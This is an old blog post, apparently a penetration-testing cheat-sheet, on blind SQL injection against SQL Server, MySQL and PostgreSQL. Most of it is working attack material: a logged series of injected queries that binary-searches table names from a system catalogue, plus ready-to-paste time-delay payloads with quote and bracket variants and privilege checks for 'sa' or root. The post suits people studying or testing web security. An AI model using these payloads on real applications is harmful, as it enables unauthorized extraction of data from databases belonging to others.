السبت، 6 سبتمبر 2008

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

ليست هناك تعليقات: